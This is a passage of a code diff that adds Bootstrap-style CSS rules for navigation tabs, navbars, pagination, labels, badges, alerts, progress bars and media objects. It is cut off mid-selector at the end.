+.nav-tabs > li.active > a,
+.nav-tabs > li.active > a:hover,
+.nav-tabs > li.active > a:focus {
+ color: #555;
+ cursor: default;
+ background-color: #fff;
+ border: 1px solid #ddd;
+ border-bottom-color: transparent;
+}
+.nav-tabs.nav-justified {
+ width: 100%;
+ border-bottom: 0;
+}
+.nav-tabs.nav-justified > li {
+ float: none;
+}
+.nav-tabs.nav-justified > li > a {
+ margin-bottom: 5px;
+ text-align: center;
+}
+.nav-tabs.nav-justified > .dropdown .dropdown-menu {
+ top: auto;
+ left: auto;
+}
+@media (min-width: 768px) {
+ .nav-tabs.nav-justified > li {
+ display: table-cell;
+ width: 1%;
+ }
+ .nav-tabs.nav-justified > li > a {
+ margin-bottom: 0;
+ }
+}
+.nav-tabs.nav-justified > li > a {
+ margin-right: 0;
+ border-radius: 4px;
+}
+.nav-tabs.nav-justified > .active > a,
+.nav-tabs.nav-justified > .active > a:hover,
+.nav-tabs.nav-justified > .active > a:focus {
+ border: 1px solid #ddd;
+}
+@media (min-width: 768px) {
+ .nav-tabs.nav-justified > li > a {
+ border-bottom: 1px solid #ddd;
+ border-radius: 4px 4px 0 0;
+ }
+ .nav-tabs.nav-justified > .active > a,
+ .nav-tabs.nav-justified > .active > a:hover,
+ .nav-tabs.nav-justified > .active > a:focus {
+ border-bottom-color: #fff;
+ }
+}
+.nav-pills > li {
+ float: left;
+}
+.nav-pills > li > a {
+ border-radius: 4px;
+}
+.nav-pills > li + li {
+ margin-left: 2px;
+}
+.nav-pills > li.active > a,
+.nav-pills > li.active > a:hover,
+.nav-pills > li.active > a:focus {
+ color: #fff;
+ background-color: #337ab7;
+}
+.nav-stacked > li {
+ float: none;
+}
+.nav-stacked > li + li {
+ margin-top: 2px;
+ margin-left: 0;
+}
+.nav-justified {
+ width: 100%;
+}
+.nav-justified > li {
+ float: none;
+}
+.nav-justified > li > a {
+ margin-bottom: 5px;
+ text-align: center;
+}
+.nav-justified > .dropdown .dropdown-menu {
+ top: auto;
+ left: auto;
+}
+@media (min-width: 768px) {
+ .nav-justified > li {
+ display: table-cell;
+ width: 1%;
+ }
+ .nav-justified > li > a {
+ margin-bottom: 0;
+ }
+}
+.nav-tabs-justified {
+ border-bottom: 0;
+}
+.nav-tabs-justified > li > a {
+ margin-right: 0;
+ border-radius: 4px;
+}
+.nav-tabs-justified > .active > a,
+.nav-tabs-justified > .active > a:hover,
+.nav-tabs-justified > .active > a:focus {
+ border: 1px solid #ddd;
+}
+@media (min-width: 768px) {
+ .nav-tabs-justified > li > a {
+ border-bottom: 1px solid #ddd;
+ border-radius: 4px 4px 0 0;
+ }
+ .nav-tabs-justified > .active > a,
+ .nav-tabs-justified > .active > a:hover,
+ .nav-tabs-justified > .active > a:focus {
+ border-bottom-color: #fff;
+ }
+}
+.tab-content > .tab-pane {
+ display: none;
+}
+.tab-content > .active {
+ display: block;
+}
+.nav-tabs .dropdown-menu {
+ margin-top: -1px;
+ border-top-left-radius: 0;
+ border-top-right-radius: 0;
+}
+.navbar {
+ position: relative;
+ min-height: 50px;
+ margin-bottom: 20px;
+ border: 1px solid transparent;
+}
+@media (min-width: 768px) {
+ .navbar {
+ border-radius: 4px;
+ }
+}
+@media (min-width: 768px) {
+ .navbar-header {
+ float: left;
+ }
+}
+.navbar-collapse {
+ padding-right: 15px;
+ padding-left: 15px;
+ overflow-x: visible;
+ -webkit-overflow-scrolling: touch;
+ border-top: 1px solid transparent;
+ -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);
+ box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);
+}
+.navbar-collapse.in {
+ overflow-y: auto;
+}
+@media (min-width: 768px) {
+ .navbar-collapse {
+ width: auto;
+ border-top: 0;
+ -webkit-box-shadow: none;
+ box-shadow: none;
+ }
+ .navbar-collapse.collapse {
+ display: block !important;
+ height: auto !important;
+ padding-bottom: 0;
+ overflow: visible !important;
+ }
+ .navbar-collapse.in {
+ overflow-y: visible;
+ }
+ .navbar-fixed-top .navbar-collapse,
+ .navbar-static-top .navbar-collapse,
+ .navbar-fixed-bottom .navbar-collapse {
+ padding-right: 0;
+ padding-left: 0;
+ }
+}
+.navbar-fixed-top .navbar-collapse,
+.navbar-fixed-bottom .navbar-collapse {
+ max-height: 340px;
+}
+@media (max-device-width: 480px) and (orientation: landscape) {
+ .navbar-fixed-top .navbar-collapse,
+ .navbar-fixed-bottom .navbar-collapse {
+ max-height: 200px;
+ }
+}
+.container > .navbar-header,
+.container-fluid > .navbar-header,
+.container > .navbar-collapse,
+.container-fluid > .navbar-collapse {
+ margin-right: -15px;
+ margin-left: -15px;
+}
+@media (min-width: 768px) {
+ .container > .navbar-header,
+ .container-fluid > .navbar-header,
+ .container > .navbar-collapse,
+ .container-fluid > .navbar-collapse {
+ margin-right: 0;
+ margin-left: 0;
+ }
+}
+.navbar-static-top {
+ z-index: 1000;
+ border-width: 0 0 1px;
+}
+@media (min-width: 768px) {
+ .navbar-static-top {
+ border-radius: 0;
+ }
+}
+.navbar-fixed-top,
+.navbar-fixed-bottom {
+ position: fixed;
+ right: 0;
+ left: 0;
+ z-index: 1030;
+}
+@media (min-width: 768px) {
+ .navbar-fixed-top,
+ .navbar-fixed-bottom {
+ border-radius: 0;
+ }
+}
+.navbar-fixed-top {
+ top: 0;
+ border-width: 0 0 1px;
+}
+.navbar-fixed-bottom {
+ bottom: 0;
+ margin-bottom: 0;
+ border-width: 1px 0 0;
+}
+.navbar-brand {
+ float: left;
+ height: 50px;
+ padding: 15px 15px;
+ font-size: 18px;
+ line-height: 20px;
+}
+.navbar-brand:hover,
+.navbar-brand:focus {
+ text-decoration: none;
+}
+.navbar-brand > img {
+ display: block;
+}
+@media (min-width: 768px) {
+ .navbar > .container .navbar-brand,
+ .navbar > .container-fluid .navbar-brand {
+ margin-left: -15px;
+ }
+}
+.navbar-toggle {
+ position: relative;
+ float: right;
+ padding: 9px 10px;
+ margin-top: 8px;
+ margin-right: 15px;
+ margin-bottom: 8px;
+ background-color: transparent;
+ background-image: none;
+ border: 1px solid transparent;
+ border-radius: 4px;
+}
+.navbar-toggle:focus {
+ outline: 0;
+}
+.navbar-toggle .icon-bar {
+ display: block;
+ width: 22px;
+ height: 2px;
+ border-radius: 1px;
+}
+.navbar-toggle .icon-bar + .icon-bar {
+ margin-top: 4px;
+}
+@media (min-width: 768px) {
+ .navbar-toggle {
+ display: none;
+ }
+}
+.navbar-nav {
+ margin: 7.5px -15px;
+}
+.navbar-nav > li > a {
+ padding-top: 10px;
+ padding-bottom: 10px;
+ line-height: 20px;
+}
+@media (max-width: 767px) {
+ .navbar-nav .open .dropdown-menu {
+ position: static;
+ float: none;
+ width: auto;
+ margin-top: 0;
+ background-color: transparent;
+ border: 0;
+ -webkit-box-shadow: none;
+ box-shadow: none;
+ }
+ .navbar-nav .open .dropdown-menu > li > a,
+ .navbar-nav .open .dropdown-menu .dropdown-header {
+ padding: 5px 15px 5px 25px;
+ }
+ .navbar-nav .open .dropdown-menu > li > a {
+ line-height: 20px;
+ }
+ .navbar-nav .open .dropdown-menu > li > a:hover,
+ .navbar-nav .open .dropdown-menu > li > a:focus {
+ background-image: none;
+ }
+}
+@media (min-width: 768px) {
+ .navbar-nav {
+ float: left;
+ margin: 0;
+ }
+ .navbar-nav > li {
+ float: left;
+ }
+ .navbar-nav > li > a {
+ padding-top: 15px;
+ padding-bottom: 15px;
+ }
+}
+.navbar-form {
+ padding: 10px 15px;
+ margin-top: 8px;
+ margin-right: -15px;
+ margin-bottom: 8px;
+ margin-left: -15px;
+ border-top: 1px solid transparent;
+ border-bottom: 1px solid transparent;
+ -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);
+ box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);
+}
+@media (min-width: 768px) {
+ .navbar-form .form-group {
+ display: inline-block;
+ margin-bottom: 0;
+ vertical-align: middle;
+ }
+ .navbar-form .form-control {
+ display: inline-block;
+ width: auto;
+ vertical-align: middle;
+ }
+ .navbar-form .form-control-static {
+ display: inline-block;
+ }
+ .navbar-form .input-group {
+ display: inline-table;
+ vertical-align: middle;
+ }
+ .navbar-form .input-group .input-group-addon,
+ .navbar-form .input-group .input-group-btn,
+ .navbar-form .input-group .form-control {
+ width: auto;
+ }
+ .navbar-form .input-group > .form-control {
+ width: 100%;
+ }
+ .navbar-form .control-label {
+ margin-bottom: 0;
+ vertical-align: middle;
+ }
+ .navbar-form .radio,
+ .navbar-form .checkbox {
+ display: inline-block;
+ margin-top: 0;
+ margin-bottom: 0;
+ vertical-align: middle;
+ }
+ .navbar-form .radio label,
+ .navbar-form .checkbox label {
+ padding-left: 0;
+ }
+ .navbar-form .radio input[type="radio"],
+ .navbar-form .checkbox input[type="checkbox"] {
+ position: relative;
+ margin-left: 0;
+ }
+ .navbar-form .has-feedback .form-control-feedback {
+ top: 0;
+ }
+}
+@media (max-width: 767px) {
+ .navbar-form .form-group {
+ margin-bottom: 5px;
+ }
+ .navbar-form .form-group:last-child {
+ margin-bottom: 0;
+ }
+}
+@media (min-width: 768px) {
+ .navbar-form {
+ width: auto;
+ padding-top: 0;
+ padding-bottom: 0;
+ margin-right: 0;
+ margin-left: 0;
+ border: 0;
+ -webkit-box-shadow: none;
+ box-shadow: none;
+ }
+}
+.navbar-nav > li > .dropdown-menu {
+ margin-top: 0;
+ border-top-left-radius: 0;
+ border-top-right-radius: 0;
+}
+.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {
+ margin-bottom: 0;
+ border-top-left-radius: 4px;
+ border-top-right-radius: 4px;
+ border-bottom-right-radius: 0;
+ border-bottom-left-radius: 0;
+}
+.navbar-btn {
+ margin-top: 8px;
+ margin-bottom: 8px;
+}
+.navbar-btn.btn-sm {
+ margin-top: 10px;
+ margin-bottom: 10px;
+}
+.navbar-btn.btn-xs {
+ margin-top: 14px;
+ margin-bottom: 14px;
+}
+.navbar-text {
+ margin-top: 15px;
+ margin-bottom: 15px;
+}
+@media (min-width: 768px) {
+ .navbar-text {
+ float: left;
+ margin-right: 15px;
+ margin-left: 15px;
+ }
+}
+@media (min-width: 768px) {
+ .navbar-left {
+ float: left !important;
+ }
+ .navbar-right {
+ float: right !important;
+ margin-right: -15px;
+ }
+ .navbar-right ~ .navbar-right {
+ margin-right: 0;
+ }
+}
+.navbar-default {
+ background-color: #f8f8f8;
+ border-color: #e7e7e7;
+}
+.navbar-default .navbar-brand {
+ color: #777;
+}
+.navbar-default .navbar-brand:hover,
+.navbar-default .navbar-brand:focus {
+ color: #5e5e5e;
+ background-color: transparent;
+}
+.navbar-default .navbar-text {
+ color: #777;
+}
+.navbar-default .navbar-nav > li > a {
+ color: #777;
+}
+.navbar-default .navbar-nav > li > a:hover,
+.navbar-default .navbar-nav > li > a:focus {
+ color: #333;
+ background-color: transparent;
+}
+.navbar-default .navbar-nav > .active > a,
+.navbar-default .navbar-nav > .active > a:hover,
+.navbar-default .navbar-nav > .active > a:focus {
+ color: #555;
+ background-color: #e7e7e7;
+}
+.navbar-default .navbar-nav > .disabled > a,
+.navbar-default .navbar-nav > .disabled > a:hover,
+.navbar-default .navbar-nav > .disabled > a:focus {
+ color: #ccc;
+ background-color: transparent;
+}
+.navbar-default .navbar-toggle {
+ border-color: #ddd;
+}
+.navbar-default .navbar-toggle:hover,
+.navbar-default .navbar-toggle:focus {
+ background-color: #ddd;
+}
+.navbar-default .navbar-toggle .icon-bar {
+ background-color: #888;
+}
+.navbar-default .navbar-collapse,
+.navbar-default .navbar-form {
+ border-color: #e7e7e7;
+}
+.navbar-default .navbar-nav > .open > a,
+.navbar-default .navbar-nav > .open > a:hover,
+.navbar-default .navbar-nav > .open > a:focus {
+ color: #555;
+ background-color: #e7e7e7;
+}
+@media (max-width: 767px) {
+ .navbar-default .navbar-nav .open .dropdown-menu > li > a {
+ color: #777;
+ }
+ .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,
+ .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {
+ color: #333;
+ background-color: transparent;
+ }
+ .navbar-default .navbar-nav .open .dropdown-menu > .active > a,
+ .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,
+ .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {
+ color: #555;
+ background-color: #e7e7e7;
+ }
+ .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,
+ .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,
+ .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {
+ color: #ccc;
+ background-color: transparent;
+ }
+}
+.navbar-default .navbar-link {
+ color: #777;
+}
+.navbar-default .navbar-link:hover {
+ color: #333;
+}
+.navbar-default .btn-link {
+ color: #777;
+}
+.navbar-default .btn-link:hover,
+.navbar-default .btn-link:focus {
+ color: #333;
+}
+.navbar-default .btn-link[disabled]:hover,
+fieldset[disabled] .navbar-default .btn-link:hover,
+.navbar-default .btn-link[disabled]:focus,
+fieldset[disabled] .navbar-default .btn-link:focus {
+ color: #ccc;
+}
+.navbar-inverse {
+ background-color: #222;
+ border-color: #080808;
+}
+.navbar-inverse .navbar-brand {
+ color: #9d9d9d;
+}
+.navbar-inverse .navbar-brand:hover,
+.navbar-inverse .navbar-brand:focus {
+ color: #fff;
+ background-color: transparent;
+}
+.navbar-inverse .navbar-text {
+ color: #9d9d9d;
+}
+.navbar-inverse .navbar-nav > li > a {
+ color: #9d9d9d;
+}
+.navbar-inverse .navbar-nav > li > a:hover,
+.navbar-inverse .navbar-nav > li > a:focus {
+ color: #fff;
+ background-color: transparent;
+}
+.navbar-inverse .navbar-nav > .active > a,
+.navbar-inverse .navbar-nav > .active > a:hover,
+.navbar-inverse .navbar-nav > .active > a:focus {
+ color: #fff;
+ background-color: #080808;
+}
+.navbar-inverse .navbar-nav > .disabled > a,
+.navbar-inverse .navbar-nav > .disabled > a:hover,
+.navbar-inverse .navbar-nav > .disabled > a:focus {
+ color: #444;
+ background-color: transparent;
+}
+.navbar-inverse .navbar-toggle {
+ border-color: #333;
+}
+.navbar-inverse .navbar-toggle:hover,
+.navbar-inverse .navbar-toggle:focus {
+ background-color: #333;
+}
+.navbar-inverse .navbar-toggle .icon-bar {
+ background-color: #fff;
+}
+.navbar-inverse .navbar-collapse,
+.navbar-inverse .navbar-form {
+ border-color: #101010;
+}
+.navbar-inverse .navbar-nav > .open > a,
+.navbar-inverse .navbar-nav > .open > a:hover,
+.navbar-inverse .navbar-nav > .open > a:focus {
+ color: #fff;
+ background-color: #080808;
+}
+@media (max-width: 767px) {
+ .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {
+ border-color: #080808;
+ }
+ .navbar-inverse .navbar-nav .open .dropdown-menu .divider {
+ background-color: #080808;
+ }
+ .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {
+ color: #9d9d9d;
+ }
+ .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,
+ .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {
+ color: #fff;
+ background-color: transparent;
+ }
+ .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,
+ .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,
+ .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {
+ color: #fff;
+ background-color: #080808;
+ }
+ .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,
+ .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,
+ .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {
+ color: #444;
+ background-color: transparent;
+ }
+}
+.navbar-inverse .navbar-link {
+ color: #9d9d9d;
+}
+.navbar-inverse .navbar-link:hover {
+ color: #fff;
+}
+.navbar-inverse .btn-link {
+ color: #9d9d9d;
+}
+.navbar-inverse .btn-link:hover,
+.navbar-inverse .btn-link:focus {
+ color: #fff;
+}
+.navbar-inverse .btn-link[disabled]:hover,
+fieldset[disabled] .navbar-inverse .btn-link:hover,
+.navbar-inverse .btn-link[disabled]:focus,
+fieldset[disabled] .navbar-inverse .btn-link:focus {
+ color: #444;
+}
+.breadcrumb {
+ padding: 8px 15px;
+ margin-bottom: 20px;
+ list-style: none;
+ background-color: #f5f5f5;
+ border-radius: 4px;
+}
+.breadcrumb > li {
+ display: inline-block;
+}
+.breadcrumb > li + li:before {
+ padding: 0 5px;
+ color: #ccc;
+ content: "/\00a0";
+}
+.breadcrumb > .active {
+ color: #777;
+}
+.pagination {
+ display: inline-block;
+ padding-left: 0;
+ margin: 20px 0;
+ border-radius: 4px;
+}
+.pagination > li {
+ display: inline;
+}
+.pagination > li > a,
+.pagination > li > span {
+ position: relative;
+ float: left;
+ padding: 6px 12px;
+ margin-left: -1px;
+ line-height: 1.42857143;
+ color: #337ab7;
+ text-decoration: none;
+ background-color: #fff;
+ border: 1px solid #ddd;
+}
+.pagination > li:first-child > a,
+.pagination > li:first-child > span {
+ margin-left: 0;
+ border-top-left-radius: 4px;
+ border-bottom-left-radius: 4px;
+}
+.pagination > li:last-child > a,
+.pagination > li:last-child > span {
+ border-top-right-radius: 4px;
+ border-bottom-right-radius: 4px;
+}
+.pagination > li > a:hover,
+.pagination > li > span:hover,
+.pagination > li > a:focus,
+.pagination > li > span:focus {
+ z-index: 3;
+ color: #23527c;
+ background-color: #eee;
+ border-color: #ddd;
+}
+.pagination > .active > a,
+.pagination > .active > span,
+.pagination > .active > a:hover,
+.pagination > .active > span:hover,
+.pagination > .active > a:focus,
+.pagination > .active > span:focus {
+ z-index: 2;
+ color: #fff;
+ cursor: default;
+ background-color: #337ab7;
+ border-color: #337ab7;
+}
+.pagination > .disabled > span,
+.pagination > .disabled > span:hover,
+.pagination > .disabled > span:focus,
+.pagination > .disabled > a,
+.pagination > .disabled > a:hover,
+.pagination > .disabled > a:focus {
+ color: #777;
+ cursor: not-allowed;
+ background-color: #fff;
+ border-color: #ddd;
+}
+.pagination-lg > li > a,
+.pagination-lg > li > span {
+ padding: 10px 16px;
+ font-size: 18px;
+ line-height: 1.3333333;
+}
+.pagination-lg > li:first-child > a,
+.pagination-lg > li:first-child > span {
+ border-top-left-radius: 6px;
+ border-bottom-left-radius: 6px;
+}
+.pagination-lg > li:last-child > a,
+.pagination-lg > li:last-child > span {
+ border-top-right-radius: 6px;
+ border-bottom-right-radius: 6px;
+}
+.pagination-sm > li > a,
+.pagination-sm > li > span {
+ padding: 5px 10px;
+ font-size: 12px;
+ line-height: 1.5;
+}
+.pagination-sm > li:first-child > a,
+.pagination-sm > li:first-child > span {
+ border-top-left-radius: 3px;
+ border-bottom-left-radius: 3px;
+}
+.pagination-sm > li:last-child > a,
+.pagination-sm > li:last-child > span {
+ border-top-right-radius: 3px;
+ border-bottom-right-radius: 3px;
+}
+.pager {
+ padding-left: 0;
+ margin: 20px 0;
+ text-align: center;
+ list-style: none;
+}
+.pager li {
+ display: inline;
+}
+.pager li > a,
+.pager li > span {
+ display: inline-block;
+ padding: 5px 14px;
+ background-color: #fff;
+ border: 1px solid #ddd;
+ border-radius: 15px;
+}
+.pager li > a:hover,
+.pager li > a:focus {
+ text-decoration: none;
+ background-color: #eee;
+}
+.pager .next > a,
+.pager .next > span {
+ float: right;
+}
+.pager .previous > a,
+.pager .previous > span {
+ float: left;
+}
+.pager .disabled > a,
+.pager .disabled > a:hover,
+.pager .disabled > a:focus,
+.pager .disabled > span {
+ color: #777;
+ cursor: not-allowed;
+ background-color: #fff;
+}
+.label {
+ display: inline;
+ padding: .2em .6em .3em;
+ font-size: 75%;
+ font-weight: bold;
+ line-height: 1;
+ color: #fff;
+ text-align: center;
+ white-space: nowrap;
+ vertical-align: baseline;
+ border-radius: .25em;
+}
+a.label:hover,
+a.label:focus {
+ color: #fff;
+ text-decoration: none;
+ cursor: pointer;
+}
+.label:empty {
+ display: none;
+}
+.btn .label {
+ position: relative;
+ top: -1px;
+}
+.label-default {
+ background-color: #777;
+}
+.label-default[href]:hover,
+.label-default[href]:focus {
+ background-color: #5e5e5e;
+}
+.label-primary {
+ background-color: #337ab7;
+}
+.label-primary[href]:hover,
+.label-primary[href]:focus {
+ background-color: #286090;
+}
+.label-success {
+ background-color: #5cb85c;
+}
+.label-success[href]:hover,
+.label-success[href]:focus {
+ background-color: #449d44;
+}
+.label-info {
+ background-color: #5bc0de;
+}
+.label-info[href]:hover,
+.label-info[href]:focus {
+ background-color: #31b0d5;
+}
+.label-warning {
+ background-color: #f0ad4e;
+}
+.label-warning[href]:hover,
+.label-warning[href]:focus {
+ background-color: #ec971f;
+}
+.label-danger {
+ background-color: #d9534f;
+}
+.label-danger[href]:hover,
+.label-danger[href]:focus {
+ background-color: #c9302c;
+}
+.badge {
+ display: inline-block;
+ min-width: 10px;
+ padding: 3px 7px;
+ font-size: 12px;
+ font-weight: bold;
+ line-height: 1;
+ color: #fff;
+ text-align: center;
+ white-space: nowrap;
+ vertical-align: middle;
+ background-color: #777;
+ border-radius: 10px;
+}
+.badge:empty {
+ display: none;
+}
+.btn .badge {
+ position: relative;
+ top: -1px;
+}
+.btn-xs .badge,
+.btn-group-xs > .btn .badge {
+ top: 0;
+ padding: 1px 5px;
+}
+a.badge:hover,
+a.badge:focus {
+ color: #fff;
+ text-decoration: none;
+ cursor: pointer;
+}
+.list-group-item.active > .badge,
+.nav-pills > .active > a > .badge {
+ color: #337ab7;
+ background-color: #fff;
+}
+.list-group-item > .badge {
+ float: right;
+}
+.list-group-item > .badge + .badge {
+ margin-right: 5px;
+}
+.nav-pills > li > a > .badge {
+ margin-left: 3px;
+}
+.jumbotron {
+ padding-top: 30px;
+ padding-bottom: 30px;
+ margin-bottom: 30px;
+ color: inherit;
+ background-color: #eee;
+}
+.jumbotron h1,
+.jumbotron .h1 {
+ color: inherit;
+}
+.jumbotron p {
+ margin-bottom: 15px;
+ font-size: 21px;
+ font-weight: 200;
+}
+.jumbotron > hr {
+ border-top-color: #d5d5d5;
+}
+.container .jumbotron,
+.container-fluid .jumbotron {
+ border-radius: 6px;
+}
+.jumbotron .container {
+ max-width: 100%;
+}
+@media screen and (min-width: 768px) {
+ .jumbotron {
+ padding-top: 48px;
+ padding-bottom: 48px;
+ }
+ .container .jumbotron,
+ .container-fluid .jumbotron {
+ padding-right: 60px;
+ padding-left: 60px;
+ }
+ .jumbotron h1,
+ .jumbotron .h1 {
+ font-size: 63px;
+ }
+}
+.thumbnail {
+ display: block;
+ padding: 4px;
+ margin-bottom: 20px;
+ line-height: 1.42857143;
+ background-color: #fff;
+ border: 1px solid #ddd;
+ border-radius: 4px;
+ -webkit-transition: border .2s ease-in-out;
+ -o-transition: border .2s ease-in-out;
+ transition: border .2s ease-in-out;
+}
+.thumbnail > img,
+.thumbnail a > img {
+ margin-right: auto;
+ margin-left: auto;
+}
+a.thumbnail:hover,
+a.thumbnail:focus,
+a.thumbnail.active {
+ border-color: #337ab7;
+}
+.thumbnail .caption {
+ padding: 9px;
+ color: #333;
+}
+.alert {
+ padding: 15px;
+ margin-bottom: 20px;
+ border: 1px solid transparent;
+ border-radius: 4px;
+}
+.alert h4 {
+ margin-top: 0;
+ color: inherit;
+}
+.alert .alert-link {
+ font-weight: bold;
+}
+.alert > p,
+.alert > ul {
+ margin-bottom: 0;
+}
+.alert > p + p {
+ margin-top: 5px;
+}
+.alert-dismissable,
+.alert-dismissible {
+ padding-right: 35px;
+}
+.alert-dismissable .close,
+.alert-dismissible .close {
+ position: relative;
+ top: -2px;
+ right: -21px;
+ color: inherit;
+}
+.alert-success {
+ color: #3c763d;
+ background-color: #dff0d8;
+ border-color: #d6e9c6;
+}
+.alert-success hr {
+ border-top-color: #c9e2b3;
+}
+.alert-success .alert-link {
+ color: #2b542c;
+}
+.alert-info {
+ color: #31708f;
+ background-color: #d9edf7;
+ border-color: #bce8f1;
+}
+.alert-info hr {
+ border-top-color: #a6e1ec;
+}
+.alert-info .alert-link {
+ color: #245269;
+}
+.alert-warning {
+ color: #8a6d3b;
+ background-color: #fcf8e3;
+ border-color: #faebcc;
+}
+.alert-warning hr {
+ border-top-color: #f7e1b5;
+}
+.alert-warning .alert-link {
+ color: #66512c;
+}
+.alert-danger {
+ color: #a94442;
+ background-color: #f2dede;
+ border-color: #ebccd1;
+}
+.alert-danger hr {
+ border-top-color: #e4b9c0;
+}
+.alert-danger .alert-link {
+ color: #843534;
+}
+@-webkit-keyframes progress-bar-stripes {
+ from {
+ background-position: 40px 0;
+ }
+ to {
+ background-position: 0 0;
+ }
+}
+@-o-keyframes progress-bar-stripes {
+ from {
+ background-position: 40px 0;
+ }
+ to {
+ background-position: 0 0;
+ }
+}
+@keyframes progress-bar-stripes {
+ from {
+ background-position: 40px 0;
+ }
+ to {
+ background-position: 0 0;
+ }
+}
+.progress {
+ height: 20px;
+ margin-bottom: 20px;
+ overflow: hidden;
+ background-color: #f5f5f5;
+ border-radius: 4px;
+ -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);
+ box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);
+}
+.progress-bar {
+ float: left;
+ width: 0;
+ height: 100%;
+ font-size: 12px;
+ line-height: 20px;
+ color: #fff;
+ text-align: center;
+ background-color: #337ab7;
+ -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);
+ box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);
+ -webkit-transition: width .6s ease;
+ -o-transition: width .6s ease;
+ transition: width .6s ease;
+}
+.progress-striped .progress-bar,
+.progress-bar-striped {
+ background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ -webkit-background-size: 40px 40px;
+ background-size: 40px 40px;
+}
+.progress.active .progress-bar,
+.progress-bar.active {
+ -webkit-animation: progress-bar-stripes 2s linear infinite;
+ -o-animation: progress-bar-stripes 2s linear infinite;
+ animation: progress-bar-stripes 2s linear infinite;
+}
+.progress-bar-success {
+ background-color: #5cb85c;
+}
+.progress-striped .progress-bar-success {
+ background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+}
+.progress-bar-info {
+ background-color: #5bc0de;
+}
+.progress-striped .progress-bar-info {
+ background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+}
+.progress-bar-warning {
+ background-color: #f0ad4e;
+}
+.progress-striped .progress-bar-warning {
+ background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+}
+.progress-bar-danger {
+ background-color: #d9534f;
+}
+.progress-striped .progress-bar-danger {
+ background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+ background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
+}
+.media {
+ margin-top: 15px;
+}
+.media:first-child {
+ margin-top: 0;
+}
+.media,
+.media-body {
+ overflow: hidden;
+ zoom: 1;
+}
+.media-body {
+ width: 10000px;
+}
+.media-object {
+ display: block;
+}
+.media-object.img-thumbnail {
+ max-width: none;
+}
+.media-right,
+.media > .pull-right {
+ padding-left: 10px;
+}
+.media-left,
+.media > .pull-left {
+ padding-right: 10px;
+}
+.media-left,
